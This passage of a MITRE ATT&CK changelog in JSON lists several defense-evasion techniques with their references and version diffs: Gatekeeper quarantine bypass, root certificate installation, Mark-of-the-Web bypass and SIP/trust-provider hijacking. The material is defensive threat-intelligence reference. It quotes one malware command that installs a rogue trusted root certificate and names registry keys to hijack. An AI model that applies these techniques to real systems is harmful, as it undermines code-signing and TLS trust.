or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/001",
"external_id": "T1553.001"
},
{
"source_name": "Application Bundle Manipulation Brandon Dalton",
"description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
"url": "https://redcanary.com/blog/mac-application-bundles/"
},
{
"source_name": "theevilbit gatekeeper bypass 2021",
"description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.",
"url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
},
{
"source_name": "OceanLotus for OS X",
"description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
},
{
"source_name": "TheEclecticLightCompany Quarantine and the flag",
"description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.",
"url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"
},
{
"source_name": "TheEclecticLightCompany apple notarization ",
"description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.",
"url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"
},
{
"source_name": "20 macOS Common Tools and Techniques",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Brandon Dalton @PartyD0lphin",
"Swasti Bhushan Deb, IBM India Pvt. Ltd."
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.535000+00:00\", \"old_value\": \"2025-04-16 20:37:16.087000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n\\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n\\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n-\\n-Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n-\\n-QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0288: Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:05:32.844000+00:00",
"modified": "2025-10-24 17:49:21.832000+00:00",
"name": "Install Root Certificate",
"description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/004",
"external_id": "T1553.004"
},
{
"source_name": "Operation Emmental",
"description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.",
"url": "https://www.youtube.com/watch?v=gchKFumYHWc"
},
{
"source_name": "SpectorOps Code Signing Dec 2017",
"description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
"url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
},
{
"source_name": "Kaspersky Superfish",
"description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
"url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
},
{
"source_name": "objective-see ay mami 2018",
"description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
"url": "https://objective-see.com/blog/blog_0x26.html"
},
{
"source_name": "Microsoft Sigcheck May 2017",
"description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
"url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
},
{
"source_name": "Tripwire AppUNBlocker",
"description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
"url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
},
{
"source_name": "Wikipedia Root Certificate",
"description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
"url": "https://en.wikipedia.org/wiki/Root_certificate"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Graeber, @mattifestation, SpecterOps",
"Red Canary",
"Travis Smith, Tripwire",
"Itzik Kotler, SafeBreach"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.832000+00:00\", \"old_value\": \"2025-04-15 19:59:06.251000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +0,0 @@\\n-A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n-\\n-Installed root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n-\\n-* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n-* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n-* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n-* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n-* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n-* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n-* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n-* CDD4EEAE6000AC7F40C3802C171E30148030C072\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0056: Detection Strategy for Subvert Trust Controls via Install Root Certificate."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-02-22 14:20:31.650000+00:00",
"modified": "2025-10-24 17:49:01.286000+00:00",
"name": "Mark-of-the-Web Bypass",
"description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/005",
"external_id": "T1553.005"
},
{
"source_name": "Beek Use of VHD Dec 2020",
"description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
},
{
"source_name": "Outflank MotW 2020",
"description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
"url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
},
{
"source_name": "Intezer Russian APT Dec 2020",
"description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
"url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
},
{
"source_name": "Microsoft Zone.Identifier 2020",
"description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
"url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
},
{
"source_name": "Disable automount for ISO",
"description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.",
"url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Christiaan Beek, @ChristiaanBeek"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.286000+00:00\", \"old_value\": \"2025-04-15 19:58:45.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0257: Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 19:34:04.910000+00:00",
"modified": "2025-10-24 17:48:48.200000+00:00",
"name": "SIP and Trust Provider Hijacking",
"description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/003",
"external_id": "T1553.003"
},
{
"source_name": "Entrust Enable CAPI2 Aug 2017",
"description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
"url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
},
{
"source_name": "GitHub SIP POC Sept 2017",
"description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
"url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
},
{
"source_name": "SpectorOps Subverting Trust Sept 2017",
"description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
"url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
},
{
"source_name": "Microsoft Catalog Files and Signatures April 2017",
"description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
"url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
},
{
"source_name": "Microsoft Audit Registry July 2012",
"description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
},
{
"source_name": "Microsoft Registry Auditing Aug 2016",
"description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
},
{
"source_name": "Microsoft Authenticode",
"description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
"url": "https://msdn.microsoft.com/library/ms537359.aspx"
},
{
"source_name": "Microsoft WinVerifyTrust",
"description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
},
{
"source_name": "EduardosBlog SIPs July 2008",
"description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
"url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Graeber, @mattifestation, SpecterOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.200000+00:00\", \"old_value\": \"2025-04-15 19:58:31.965000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n\\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n-\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-\\n-**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0442: Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 14:28:40.064000+00:00",
"modified": "2025-10-24 17:48:39.693000+00:00",
"name": "Compromise Hardware Supply Chain",
